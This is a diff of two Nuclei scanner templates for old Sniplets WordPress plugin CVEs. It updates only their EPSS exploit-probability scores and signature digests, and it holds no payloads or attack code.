+# digest: 4a0a00473045022002d51759e3238bb1e0b99ce69e79898539b301ac8f77fb37edc5b3d7b098f095022100b1d997d3155aabdd89cba104f15ffa45fdc95f6aa0e8fed77cf628602e4bb6a3:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2008-1059
    cwe-id: CWE-94
-    epss-score: 0.00195
-    epss-percentile: 0.41354
+    epss-score: 0.48329
+    epss-percentile: 0.98719
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -47,4 +47,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100b5130e6fbce06e9b22ede6c1eb11ceb75f8017acb13932753f4767c6086b9b0b022100d4a00ff2f7875f4a18b9876880320c39ffd46244b6cbe43c0af0fc7c32fcc0ea:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210097799edba5fe48dd9308290ce8ba90289b18eca9795ade4c556758e5cfbcc09d022061ba6e57c6031c23d097d7e9cddd757fd80ae8af7e24a10b0e5a168161ad89bd:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2008-1061
    cwe-id: CWE-79
-    epss-score: 0.00158
-    epss-percentile: 0.36412
+    epss-score: 0.074
+    epss-percentile: 0.93693
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -62,4 +62,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100d45ba1f42e76ca48dfd22309efde770d35c1f620acb146fc1ccb0cbdaa983a1002203249b590de6bd20121627cdab8e7262700ab0f8962a96061f40406a056e65f21:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202a85d360df9d2bc2469a203bf864d62906731974da7da42fd47d9375f44a477a02202c88afdc9e364b85b7833d0d759cce240d343781c340e3fd78de629da64fa139:922c64590222798bb761d5b6d8e72950